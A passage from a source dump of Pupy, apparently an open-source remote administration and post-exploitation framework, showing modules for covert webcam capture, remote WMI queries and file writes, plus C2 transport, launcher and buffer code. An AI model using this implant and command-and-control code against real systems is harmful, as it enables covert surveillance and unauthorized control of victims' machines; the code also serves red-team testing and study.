            self.info("device %s exists, taking a snap ..."%args.device)
            buff, width, height = dev.getbuffer()
            pil_save(filepath, buff, width, height)
        elif self.client.is_android():
            if args.nb_cameras:
                self.success("Number of cameras: {0}".format(self.client.conn.modules['pupydroid.camera'].numberOfCameras()))
                return
            else:
                data=self.client.conn.modules['pupydroid.camera'].take_picture(args.device, args.jpg_quality)
                with open(filepath, 'wb') as f:
                    f.write(data)

        if args.view:
            subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath])

        self.success("webcam picture saved to %s"%filepath)


================================================
FILE: pupy/modules/wmic.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
from argparse import REMAINDER

from pupy.pupylib.PupyOutput import Table, List
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'WMIC'


@config(category='admin', compat=['windows'])
class WMIC(PupyModule):
    ''' Query WMI using WQL '''

    dependencies = ['wql']

    @classmethod
    def init_argparse(cls):
        example = 'SELECT * FROM Win32_Share'
        cls.arg_parser = PupyArgumentParser(
            prog='wmi', description=cls.__doc__, epilog=example)
        cls.arg_parser.add_argument(
            '-c', '--columns-only', action='store_true', help='Show only column names')
        cls.arg_parser.add_argument('query', nargs=REMAINDER)

    def run(self, args):
        wql = self.client.remote('wql', 'execute_final')
        if args.query:
            cmdline = ' '.join(args.query)
        else:
            cmdline = 'SELECT DatabaseDirectory,BuildVersion,LoggingDirectory '\
              'FROM Win32_WMISetting'

        try:
            columns, result = wql(cmdline)
        except Exception as e:
            self.error(e.strerror)
            return

        if args.columns_only:
            self.log(List(columns, caption='Columns'))
            return

        def _stringify(x):
            if isinstance(x, basestring):
                return x
            elif isinstance(x, (list, tuple)):
                return ';'.join(_stringify(y) for y in x)
            elif x is None:
                return ''
            else:
                return str(x)

        if not columns:
            return
        elif len(columns) == 1:
            records = []
            for record in result:
                for item in record:
                    if item[0] == columns[0]:
                        records.append(_stringify(item[1]))
            self.log(List(records, caption=columns[0]))
        else:
            records = [{
                k:_stringify(v) for k,v in record
            } for record in result]

            self.log(Table(records, columns))


================================================
FILE: pupy/modules/write.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer
from argparse import REMAINDER

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'Write'


@config(cat='manage')
class Write(PupyModule):
    ''' Write short string to file '''

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='write', description=cls.__doc__
        )

        modifier = cls.arg_parser.add_mutually_exclusive_group()
        modifier.add_argument(
            '-0', '--zero', action='store_true', default=False,
            help='Overwrite file with empty string')
        modifier.add_argument(
            '-a', '--append', action='store_true', default=False,
            help='Append data to existing content')

        decoding = cls.arg_parser.add_mutually_exclusive_group()
        decoding.add_argument(
            '-x', '--hex', action='store_true', default=False,
            help='Decode data from hex')
        decoding.add_argument(
            '-b', '--base64', action='store_true', default=False,
            help='Decode data from base64')

        cls.arg_parser.add_argument(
            'remote_file', metavar='<remote_path>',
            completer=remote_path_completer)

        cls.arg_parser.add_argument('text', nargs=REMAINDER)

    def run(self, args):
        if not args.text and not args.zero:
            self.error('Use -0 to overwrite file with zero content')
            return
        elif args.zero and args.text:
            self.error('Use either -0 or text')
            return

        text = ''
        if not args.zero:
            text = ' '.join(args.text)

        if args.base64:
            text = text.decode('base64')
        elif args.hex:
            text = text.decode('hex')

        fputcontent = self.client.remote(
            'pupyutils.basic_cmds', 'fputcontent', False
        )

        try:
            fputcontent(args.remote_file, text, args.append)
        except Exception as e:
            raise
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )
            return


================================================
FILE: pupy/modules/x509.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from M2Crypto.X509 import load_cert_string, X509Error

__class_name__='x509'

@config(cat='admin')
class x509(PupyModule):
    ''' Fetch certificate from server '''

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='x509', description=cls.__doc__)
        cls.arg_parser.add_argument('host', help='Address or path')
        cls.arg_parser.add_argument('port', type=int, default=443, nargs='?', help='Port')
        cls.arg_parser.add_argument('-F', '--file', action='store_true', default=False,
                                     help='Force treat host as file path')
        cls.arg_parser.add_argument('-R', '--raw', action='store_true', default=False,
                                     help='Do not convert to text')


    def run(self, args):
        if args.file or '/' in args.host or '\\' in args.host:
            cat = self.client.remote('pupyutils.basic_cmds', 'cat', False)
            cert = cat(args.host, None, None, None)
        else:
            get_server_certificate = self.client.remote('ssl', 'get_server_certificate')
            cert = get_server_certificate((args.host, args.port))

        if not args.raw:
            parsed = None
            try:
                parsed = load_cert_string(cert).as_text()
            except (X509Error, TypeError):
                try:
                    parsed = load_cert_string(cert, 0).as_text()
                except X509Error:
                    pass

            cert = parsed

        if cert:
            self.log(cert)
        else:
            self.error('Invalid certificate format')


================================================
FILE: pupy/modules/zip.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.utils.rpyc_utils import obtain

__class_name__="Zip"

@config(cat="admin")
class Zip(PupyModule):
    """ zip / unzip file or directory """

    dependencies = ['pupyutils.zip', 'zipfile']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="zip", description=cls.__doc__)
        cls.arg_parser.add_argument('source', type=str, help='path of the source file or directory to zip')

        cls.arg_parser.add_argument('-l', action='store_true', help='list file  (default: zip file)')
        cls.arg_parser.add_argument('-u', action='store_true', help='unzip file (default: zip file)')
        cls.arg_parser.add_argument('-d', dest='destination', help='path of the destination file (default: current directory)')

    def nice_size(self, value):
        if value > 1024*1024*1024:
            return '{}G'.format(value/(1024*1024*1024))
        elif value > 1024*1024:
            return '{}M'.format(value/(1024*1024))
        elif value > 1024:
            return '{}K'.format(value/1024)
        else:
            return '{}B'.format(value)

    def run(self, args):
        if args.l:
            result, data = self.client.conn.modules["pupyutils.zip"].list(args.source)
            if result:
                data = obtain(data)
                log = args.source + ':\n' + '\n'.join(
                    '{:>8} {}'.format(self.nice_size(file_size), filename) for filename, file_size in data
                )
            else:
                log = data

        elif not args.u:
            result, log = self.client.conn.modules["pupyutils.zip"].zip(args.source, args.destination)
        else:
            result, log = self.client.conn.modules["pupyutils.zip"].unzip(args.source, args.destination)

        if result:
            self.success(log)
        else:
            self.error(log)


================================================
FILE: pupy/network/__init__.py
================================================


================================================
FILE: pupy/network/conf.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root
# of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'load_network_modules', 'transports', 'launchers'
)


import logging
import importlib
import pkgutil

from . import transports as trlib

transports = {}
launchers = {}


def add_transport(module_name):
    try:
        confmodule = importlib.import_module(
            'pupy.network.transports.{}.conf'.format(module_name))

        if not confmodule:
            logging.warning('Import failed: %s', module_name)
            return

        if not hasattr(confmodule, 'TransportConf'):
            logging.warning('TransportConf is not present in %s', module_name)
            return

        t = confmodule.TransportConf
        if t.name is None:
            t.name = module_name

        transports[t.name] = t
        logging.debug('Transport loaded: %s', t.name)

    except Exception as e:
        logging.exception('Transport disabled: %s: %s', module_name, e)


def load_network_modules():
    for loader, module_name, is_pkg in pkgutil.iter_modules(trlib.__path__):
        add_transport(module_name)

    try:
        from .lib.launchers.connect import ConnectLauncher
        launchers['connect'] = ConnectLauncher
    except Exception as e:
        logging.exception('%s: ConnectLauncher disabled', e)

    try:
        from .lib.launchers.auto_proxy import AutoProxyLauncher
        launchers['auto_proxy'] = AutoProxyLauncher
    except Exception as e:
        logging.exception('%s: AutoProxyLauncher disabled', e)

    try:
        from .lib.launchers.bind import BindLauncher
        launchers['bind'] = BindLauncher
    except Exception as e:
        logging.exception('%s: BindLauncher disabled', e)

    try:
        from .lib.launchers.dnscnc import DNSCncLauncher
        launchers.update({
            'dnscnc': DNSCncLauncher
        })

    except Exception as e:
        logging.exception('%s: DNSCncLauncher disabled', e)
        DNSCncLauncher = None


================================================
FILE: pupy/network/lib/__init__.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

__all__ = (
    'Proxy', 'getLogger',
    'PupySocketStream', 'PupyUDPSocketStream',
    'chain_transports',
    'PupyTCPServer', 'PupyUDPServer',
    'PupyTCPClient', 'PupySSLClient',
    'PupyProxifiedTCPClient', 'PupyProxifiedSSLClient',
    'PupyUDPClient',
    'DummyPupyTransport',

    'RSA_AESClient', 'RSA_AESServer',
    'PupyHTTPClient', 'PupyHTTPServer',
    'PupyWebSocketClient', 'PupyWebSocketServer',
    'EC4TransportServer', 'EC4TransportClient',
    'ECMTransportServer', 'ECMTransportClient'
)

import logging

from collections import namedtuple

Proxy = namedtuple(
    'Proxy', [
       'type', 'addr', 'username', 'password'
    ]
)

logger = logging.getLogger('pupy.network')


def getLogger(name):
    return logger.getChild(name)


from .streams.PupySocketStream import PupySocketStream


try:
    from .streams.PupySocketStream import PupyUDPSocketStream
except:
    PupyUDPSocketStream = None


from .base import chain_transports
from .servers import PupyTCPServer, PupyUDPServer
from .clients import PupyTCPClient, PupySSLClient
from .clients import PupyProxifiedTCPClient, PupyProxifiedSSLClient
from .clients import PupyUDPClient

from .transports.dummy import DummyPupyTransport


try:
    from .transports.rsa_aes import RSA_AESClient, RSA_AESServer
except Exception as e:
    logger.exception('Transport rsa_aes disabled: %s', e)
    RSA_AESClient = None
    RSA_AESServer = None

try:
    from .transports.http import PupyHTTPClient, PupyHTTPServer
except Exception as e:
    logger.exception('Transport http disabled: %s', e)
    PupyHTTPClient = None
    PupyHTTPServer = None

try:
    from .transports.websocket import PupyWebSocketClient, PupyWebSocketServer
except Exception as e:
    logger.exception('Transport websocket disabled: %s', e)
    PupyWebSocketClient = None
    PupyWebSocketServer = None

try:
    from .transports.ec4 import EC4TransportServer, EC4TransportClient
except Exception as e:
    logger.exception('Transport ec4 disabled: %s', e)
    EC4TransportServer = None
    EC4TransportClient = None

try:
    from .transports.ecm import ECMTransportServer, ECMTransportClient
except Exception as e:
    logger.exception('Transport ecm disabled: %s', e)
    ECMTransportServer = None
    ECMTransportClient = None



================================================
FILE: pupy/network/lib/ack.py
================================================
# -*- encoding: utf-8 -*-

# Event (cond var) is simply to complex for our dumb case
# for c in ( Event, Ack ):
#     start = time.time()
#     for x in xrange(1000000):
#         a = c()
#         a.is_set()
#         a.set()
#         a.wait()
#     print c, time.time() - start
#
# <function Event at 0x7fc42a3681b8> 14.4261770248
# <class '__main__.Ack'> 3.26524806023

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ['Ack']

from threading import Lock
from time import time, sleep


class Ack(object):
    """ Dumb (and fast, and unsafe) event replacement """

    __slots__ = ('_lock', '_is_set', '_wait_lock')

    def __init__(self):
        self._lock = Lock()
        self._is_set = None
        self._wait_lock = None

    def is_set(self):
        with self._lock:
            return self._is_set is True

    def set(self):
        with self._lock:
            if self._is_set is False and self._wait_lock:
                self._wait_lock.release()

            self._is_set = True

    def wait(self, timeout=None, probe=0.5):
        if not timeout:
            with self._lock:
                if self._is_set:
                    return True

                elif self._is_set is None:
                    self._is_set = False
                    self._wait_lock = Lock()
                    self._wait_lock.acquire()

                else:
                    raise ValueError('Already in wait state!')

            self._wait_lock.acquire()

            with self._lock:
                self._wait_lock = None
                return self._is_set is True

        else:
            with self._lock:
                if self._is_set:
                    return True

            delay = 0.00005
            prev = time()
            while timeout > 0:
                sleep(delay)
                now = time()
                timeout -= now - prev
                prev = now
                delay = min(timeout, probe, delay*2)

                with self._lock:
                    if self._is_set:
                        return True

            return False


================================================
FILE: pupy/network/lib/base.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals


class ReleaseChainedTransport(Exception):
    __slots__ = ()


class TransportSetupFailed(Exception):
    __slots__ = ()


class BasePupyTransport(object):
    __slots__ = (
        'downstream', 'upstream', 'stream',
        'cookie', 'closed'
    )

    def __init__(self, stream, **kwargs):
        if stream is None:
            upstream_peer = kwargs.get('upstream_peer', ("127.0.0.1", 443))
            downstream_peer = kwargs.get('downstream_peer', ("127.0.0.1", 443))

            self.downstream = Buffer(transport_func=addGetPeer(downstream_peer))
            self.upstream = Buffer(transport_func=addGetPeer(upstream_peer))
            self.stream = None
        else:
            self.downstream = stream.downstream
            self.upstream = stream.upstream
            self.stream = stream

        self.cookie = None
        self.closed = False

    @classmethod
    def customize(cls, **kwargs):
        """ return a class with some existing attributes customized """

        for name, value in kwargs.items():
            if name in ["cookie", "upstream", "downstream", "stream"]:
                raise TransportError("you cannot customize the protected attribute %s"%name)
            if not hasattr(cls, name):
                raise TransportError("Transport has no attribute %s"%name)

        NewSubClass = type(str('Customized_{}'.format(cls.__name__)), (cls,), kwargs)
        return NewSubClass

    @classmethod
    def custom(cls, **kwargs):
        return cls.customize(**kwargs)

    @classmethod
    def set(cls, **kwargs):
        return cls.customize(**kwargs)

    def close(self):
        self.closed=True
        try:
            self.on_close()
        except:
            pass

        try:
            if self.stream:
                self.stream.close()
            else:
                raise EOFError()
        except:
            raise EOFError()

    def on_connect(self):
        """
            We just established a connection. Handshake time ! :-)
        """
        if hasattr(self, 'circuitConnected'):
            """ obfsproxy style alias """
            return self.circuitConnected()

    def on_close(self):
        """
            called when the connection has been closed
        """
        if hasattr(self, 'circuitDestroyed'):
            """ obfsproxy style alias """
            return self.circuitDestroyed()

    def downstream_recv(self, data):
        """
            receiving obfuscated data from the remote client and writing deobfuscated data to downstream
        """
        if hasattr(self, 'receivedDownstream'):
            """ obfsproxy style alias """
            return self.receivedDownstream(data)
        raise NotImplementedError()

    def upstream_recv(self, data):
        """
            receiving clear-text data from local rpyc Stream and writing obfuscated data to upstream
        """
        if hasattr(self, 'receivedUpstream'):
            return self.receivedUpstream(data)
            """ obfsproxy style alias """
        raise NotImplementedError()


class BaseTransport(BasePupyTransport):
    """ obfsproxy style alias """
    __slots__ = ()


class TransportError(Exception):
    __slots__ = ()


class PluggableTransportError(Exception):
    __slots__ = ()


from .buffer import Buffer
from .streams.PupySocketStream import addGetPeer

from pupy.network.lib import getLogger
logger = getLogger('chain')


class TransportWrapper(BasePupyTransport):

    __slots__ = ('chain',)

    cls_chain = ()

    def __init__(self, stream, **kwargs):
        super(TransportWrapper, self).__init__(stream, **kwargs)

        kwargs.update({
            'upstream_peer': self.upstream.transport.peer,
            'downstream_peer': self.downstream.transport.peer
        })

        self.chain = [
            klass(None, **kwargs) for klass in self.__class__._linearize()
        ]

        self._setup_callbacks()

    def _setup_callbacks(self):
        for idx, klass in enumerate(self.chain):
            klass.upstream.on_write_f = self._generate_write_callback(
                klass.upstream, idx, up=True)

            klass.downstream.on_write_f = self._generate_write_callback(
                klass.downstream, idx, up=False)

    @classmethod
    def _linearize(cls):
        for klass in cls.cls_chain:
            if issubclass(klass, TransportWrapper):
                for subklass in klass.cls_chain:
                    yield subklass
            else:
                yield klass

    def _generate_write_callback(self, buffer, idx, up=False):
        if up:
            return lambda: self.downstream_recv(buffer, idx+1)
        else:
            return lambda: self.upstream_recv(buffer, idx-1)

    def on_connect(self):
        for klass in self.chain:
            klass.on_connect()

    def on_close(self):
        for klass in self.chain:
            klass.on_close()

    def close(self):
        for klass in self.chain:
            try:
                klass.close()
            except:
                pass

        super(TransportWrapper, self).close()

    def downstream_recv(self, data, idx=0):
        if __debug__:
            logger.debug('downstream: recv=%s/%s',
                len(data) if data else None, idx)

        if not len(data):
            return

        if idx > len(self.chain) - 1:
            data.write_to(self.upstream)
        else:
            try:
                self.chain[idx].downstream_recv(data)
            except ReleaseChainedTransport:
                del self.chain[idx]
                self._setup_callbacks()

    def upstream_recv(self, data, idx=None):
        if __debug__:
            logger.debug('upstream: recv=%s/%s',
                len(data) if data else None, idx)

        if not len(data):
            return

        if idx is None:
            idx = len(self.chain) - 1

        if idx < 0:
            data.write_to(self.downstream)
        else:
            self.chain[idx].upstream_recv(data)


def chain_transports(*args):
    """ chain 2 or more transports in such a way that the first argument is the transport seen at network level like t1(t2(t3(...(raw_data)...)))"""
    if len(args)<2:
        raise ValueError("chain_transports needs at least 2 transports !")

    class WrappedTransport(TransportWrapper):
        cls_chain = list(args)

    return WrappedTransport


================================================
FILE: pupy/network/lib/base_launcher.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

"""
launchers bring an abstraction layer over transports to allow pupy payloads to try multiple transports until one succeed or perform custom actions on their own.
"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'LauncherError', 'LauncherArgumentParser', 'BaseLauncher'
)

import argparse

from .compat import with_metaclass


class LauncherError(Exception):
    __slots__ = ()


class LauncherArgumentParser(argparse.ArgumentParser):
    __slots__ = ()

    def __init__(self, *args, **kwargs):
        argparse.ArgumentParser.__init__(self, *args, **kwargs)

    def exit(self, status=0, message=None):
        raise LauncherError(message)

    def error(self, message):
        self.exit(2, str('%s: error: %s\n') % (self.prog, message))


class BaseLauncherMetaclass(type):
    def __init__(self, *args, **kwargs):
        super(BaseLauncherMetaclass, self).__init__(*args, **kwargs)
        self.init_argparse()


class BaseLauncher(with_metaclass(BaseLauncherMetaclass)):
    arg_parser = None
    name = None

    __slots__ = (
        'args', 'host', 'hostname', 'port',
        '_transport', 'proxies', '_default_transport'
    )

    def __init__(self):
        self.args = None
        self.reset_connection_info()
        self._default_transport = None

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = LauncherArgumentParser(
            prog=cls.__name__, description=cls.__doc__)

    def iterate(self):
        ''' iterate must be an iterator returning rpyc stream instances '''
        raise NotImplementedError('iterate launcher\'s method needs to be implemented')

    def parse_args(self, args):
        if not self.args:
            self.args = self.arg_parser.parse_args(args)

        if hasattr(self.args, 'transport'):
            self.set_default_transport(self.args.transport)

    def set_default_transport(self, transport):
        self._default_transport = transport

    @property
    def transport(self):
        return self._transport or self._default_transport

    def set_connection_info(self, hostname, host, port, proxies, transport=None):
        self.hostname = hostname
        self.host = host
        self.port = port
        self.proxies = proxies
        self._transport = transport

    def reset_connection_info(self):
        self.hostname = None
        self.host = None
        self.port = None
        self.proxies = None
        self._transport = None


================================================
FILE: pupy/network/lib/buffer.py
================================================
# -*- encoding: utf-8 -*-

# Using the same buffer object as in obfsproxy to enhance compatibility
# some modifications brings to have waiting capabilities

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'Buffer',
    'DEFAULT_FORCED_FLUSH_BUFFER_SIZE',
    'DEFAULT_MAX_STR_SIZE'
)

import zlib

from threading import Lock, Event
from traceback import format_stack

from . import getLogger

logger = getLogger('buffer')

DEFAULT_FORCED_FLUSH_BUFFER_SIZE = 32768
DEFAULT_MAX_STR_SIZE = 4096


class Buffer(object):
    """
    A Buffer is a simple FIFO buffer. You write() stuff to it, and you
    read() them back. You can also peek() or drain() data.
    """

    __slots__ = (
        '_data', '_len', '_bofft',
        'on_write_f', 'data_lock', 'waiting', 'transport', 'cookie',
        'chunk_size', 'compressor'
    )

    ALLOW_BUFFER_AS_DATA = True

    @staticmethod
    def _check_suppored_data_type(data):
        if not isinstance(data, (memoryview, bytearray, bytes, Buffer)):
            logger.error('Buffer: unsupported data type ({}) at {}'.format(
                type(data), format_stack()))

            raise TypeError('Buffer: unsupported data type ({}): {}'.format(
                type(data), repr(data)))

    def __init__(self, data='', on_write=None, transport_func=None, truncate=False,
                 chunk_size=None, compressed=False, shared=False):
        """
        Initialize a buffer with 'data'.
        """
        self._data = []
        self._len = 0

        self._bofft = 0

        self.on_write_f = on_write
        self.data_lock = Lock()
        self.waiting = Event() if shared else None
        self.transport = transport_func
        self.cookie = None
        self.chunk_size = None
        self.compressor = None
        if compressed:
            self.compressor = zlib.compressobj(
                compressed if type(compressed) is int else 9
            )

            if data:
                data = self.compressor.compress(data)

        if data:
            if __debug__:
                Buffer._check_suppored_data_type(data)

            self._data.append(data)
            self._len += len(data)

    def __enter__(self):
        self.data_lock.acquire()

    def __exit__(self, *exc):
        self.data_lock.release()

    def copy(self):
        buf = Buffer()
        buf._data = list(self._data)
        buf._len = self._len
        buf._bofft = self._bofft
        return buf

    def on_write(self):
        if self.on_write_f:
            self.on_write_f()

        if self.waiting:
            self.waiting.set()

    def wait(self, timeout=0.1, at_least=0, force=False):
        """ wait for a size """

        if not force and self._len > at_least:
            return True
        elif self.waiting is not None:
            self.waiting.clear()
        else:
            raise ValueError('Bufer should be shared to use wait()')

        self.waiting.wait(timeout)
        return self._len > 0

    def wake(self):
        if not self.waiting:
            raise ValueError('Bufer should be shared to use wake()')

        self.waiting.set()

    def _linearize(self, upto=None):
        if upto is None:
            upto = self._len

        if len(self._data) < 2 or upto <= len(self._data[0]) - self._bofft:
            return

        free = 0
        to_alloc = 0

        # Estimate size:
        for idx, chunk in enumerate(self._data):
            lchunk = len(chunk)
            if idx == 0 and self._bofft > 0:
                lchunk -= self._bofft

            to_alloc += lchunk
            if to_alloc >= upto:
                break

        upto = to_alloc

        linearized = bytearray(upto)
        offset = 0

        for idx, chunk in enumerate(self._data):
            lchunk = len(chunk)

            if idx == 0 and self._bofft > 0:
                lchunk -= self._bofft
                linearized[offset:offset + lchunk] = chunk[self._bofft:]
                self._bofft = 0
            else:
                linearized[offset:offset+lchunk] = chunk

            self._data[idx] = None

            free += 1
            upto -= lchunk
            offset += lchunk

            if not upto:
                break

        self._data[0] = linearized

        if free:
            del self._data[1:free]

    def _obtain(self, n=-1, view=False, release=False):
        """
        Return 'n' bytes from the buffer, without draining them.

        If 'n' is negative, return the whole buffer.
        If 'n' is larger than the size of the buffer, return the whole
        buffer.
        """

        if not self._len:
            return ''

        elif n < 0 or n > self._len:
            n = self._len

        if n == 0:
            return ''

        mdata = None

        self._linearize(upto=n)

        if view:
            try:
                mdata = memoryview(self._data[0])[self._bofft:self._bofft+n]
            except TypeError:
                # Fallback
                mdata = bytes(self._data[0][self._bofft:self._bofft+n])
        else:
            mdata = bytes(self._data[0][self._bofft:self._bofft+n])

        if release:
            if self._bofft+n == len(self._data[0]):
                del self._data[0]
                self._bofft = 0
            else:
                self._bofft += n

            self._len -= n

        return mdata

    def read(self, n=-1, view=False):
        """
        Read and return 'n' bytes from the buffer.

        If 'n' is negative, read and return the whole buffer.
        If 'n' is larger than the size of the buffer, read and return
        the whole buffer.
        """

        return self._obtain(n, view, True)

    def insert(self, data):
        if self.compressor:
            raise ValueError('Insert is not supported for compressed buffers')

        if __debug__:
            Buffer._check_suppored_data_type(data)

        ldata = len(data)
        if self._bofft:
            if type(self._data[0]) in (bytearray, memoryview) and ldata <= self._bofft:
                new_bofft = self._bofft - ldata
                self._data[0][new_bofft:self._bofft] = data
                self._bofft = new_bofft
            else:
                newelem = bytearray(len(self._data[0])-self._bofft+ldata)
                newelem[:ldata] = data
                newelem[ldata:] = self._data[0][self._bofft:]
                self._data[0] = newelem
                self._bofft = 0
        else:
            self._data.insert(0, data)

        self._len += ldata

    def truncate(self, newlen):
        if self._len == newlen:
            return

        if newlen < 0:
            newlen = self._len + newlen

        if newlen <= 0:
            del self._data[:]
            self._len = 0

        elif self._len < newlen:
            self._data.append(b'\x00'*(newlen - self._len))
            self._len = newlen

        else:
            lendiff = self._len - newlen
            while lendiff:
                clen = len(self._data[-1])
                offt = 0

                if len(self._data) == 1:
                    offt = self._bofft
                    clen -= offt

                if clen <= lendiff:
                    del self._data[-1]
                    lendiff -= clen
                else:
                    newchunklen = clen - lendiff
                    self._data[-1] = self._data[-1][offt:offt+newchunklen]
                    if offt:
                        self._bofft -= offt

                    lendiff = 0

            self._len = newlen

    def __iadd__(self, data):
        if __debug__:
            Buffer._check_suppored_data_type(data)

        self.append(data)
        return self

    def append(self, data):
        if not data:
            return

        if __debug__:
            Buffer._check_suppored_data_type(data)

        if isinstance(data, Buffer):
            if self.compressor:
                for chunk in data._data:
                    chunk = self.compressor.compress(chunk)
                    self._data.append(chunk)
                    self._len += len(chunk)
            else:
                self._data += data._data
                self._len += data._len
        elif type(data) in (tuple, list):
            for chunk in data:
                if self.compressor:
                    chunk = self.compressor.compress(chunk)

                self._data.append(chunk)
                self._len += len(chunk)
        else:
            if self.compressor:
                data = self.compressor.compress(data)

            if self._len and type(self._data[-1]) == type(data) and \
              len(self._data[-1]) + len(data) <= DEFAULT_MAX_STR_SIZE:
                self._data[-1] += data
            else:
                self._data.append(data)

            self._len += len(data)

    def write(self, data, notify=True):
        """
        Append 'data' to the buffer.
        """

        if __debug__:
            Buffer._check_suppored_data_type(data)


        self.append(data)
        if notify:
            self.on_write()

    def flush(self):
        if self.compressor:
            chunk = self.compressor.flush()
            self._data.append(chunk)
            self._len += len(chunk)

        if self._len > 0:
            self.on_write()

    def write_to(self, stream, modificator=None, notify=True, view=False, chunk_size=None, full_chunks=False, n=None):
        chunk_size = chunk_size or self.chunk_size
        total_write = 0
        total_read  = 0

        if n is not None:
            n = min(self._len, n)

        forced_notify = True
        if hasattr(stream, 'flush'):
            forced_notify = False
        else:
            # Some old style thing, will copy anyway
            view = True

        idx = 0

        if not forced_notify and not chunk_size:
            for idx, chunk in enumerate(self._data):
                bofft = 0

                if self._bofft:
                    chunk = chunk[self._bofft:]
                    bofft = self._bofft
                    self._bofft = 0

                lchunk = len(chunk)

                if n is not None:
                    if total_read + lchunk > n:
                        chunk = chunk[:n - total_read]
                        self._bofft = bofft + n - total_read

                total_read += len(chunk)

                if modificator:
                    chunk = modificator(bytes(chunk))

                stream.write(chunk, notify=False)
                total_write += len(chunk)

                if n is not None and total_read >= n:
                    break

            self._len -= total_read
            if self._bofft and idx > 0:
                del self._data[:idx]
            elif not self._bofft:
                del self._data[:idx+1]
        else:
            # Old style interface. Better to send by big portions

            if not chunk_size:
                chunk_size = DEFAULT_FORCED_FLUSH_BUFFER_SIZE

            to_read = n or self._len
            while to_read:
                if full_chunks and self._len < chunk_size:
                    break

                chunk = self._obtain(
                    min(to_read, chunk_size),
                    release=True, view=(not modificator) or view)

                lchunk = len(chunk)
                total_read += lchunk
                to_read -= lchunk

                if modificator:
                    chunk = modificator(chunk)

                if forced_notify:
                    stream.write(chunk)
                else:
                    stream.write(chunk, notify=False)

                total_write += len(chunk)

        if notify and not forced_notify:
            stream.flush()

        return total_read, total_write

    def peek(self, n=-1, view=False):
        """
        Return 'n' bytes from the buffer, without draining them.

        If 'n' is negative, return the whole buffer.
        If 'n' is larger than the size of the buffer, return the whole
        buffer.
        """

        return self._obtain(n, view)

    def drain(self, n=-1):
        """
        Drain 'n' bytes from the buffer.

        If 'n' is negative, drain the whole buffer.
        If 'n' is larger than the size of the buffer, drain the whole
        buffer.
        """

        if n < 0 or n > self._len:
            n = self._len

        if n == 0:
            return

        elif n == self._len:
            del self._data[:]
            self._len = 0
            self._bofft = 0

        elif n < len(self._data[0]) - self._bofft:
            self._bofft += n
            self._len -= n
        else:
            todel = 0
            for idx, chunk in enumerate(self._data):
                lchunk = len(chunk)
                if idx == 0 and self._bofft:
                    lchunk -= self._bofft

                if n >= lchunk:
                    self._len -= lchunk
                    self._bofft = 0

                    todel += 1
                    n -= lchunk
                else:
                    self._bofft = n
                    self._len -= n
                    break

            del self._data[:todel]

    def chunksinfo(self):
        result = ''
        if self._bofft:
            result = "+{}:".format(self._bofft)

        result += ','.join(
            '{}:{}'.format(len(x), type(x).__name__) for x in self._data)

        return '<Buffer: {}>'.format(result)

    def __len__(self):
        """Returns length of buffer. Used in len()."""
        return self._len

    def __nonzero__(self):
        """
        Returns True if the buffer is non-empty.
        Used in truth-value testing.
        """
        return bool(self._len)


================================================
FILE: pupy/network/lib/clients.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'PupyClient',
    'PupyTCPClient',
    'PupyUDPClient',
    'PupyProxifiedTCPClient',
    'PupySSLClient',
    'PupyProxifiedSSLClient'
)

import socket
import ssl
import tempfile
import os
import logging

from . import getLogger

try:
    from . import socks
except ImportError as e:
    logging.warning('%s: socks module disabled, auto_connect unavailable', e)
    socks = None

logger = getLogger('clients')


class PupyClient(object):
    def connect(self, host, port, timeout=4):
        """ return a socket after connection """
        raise NotImplementedError("connect not implemented")


class PupyAsyncClient(object):
    def connect(self, host, port, timeout=10):
        self.host = host
        self.port = port
        self.timeout = timeout
        return self.host, self.port, self.timeout


class PupyTCPClient(PupyClient):
    def __init__(
        self, family=socket.AF_UNSPEC, socktype=socket.SOCK_STREAM,
            timeout=4, nodelay=False, keepalive=True):

        super(PupyTCPClient, self).__init__()
        self.sock = None

        self.family = family
        self.socktype = socktype
        self.timeout = timeout
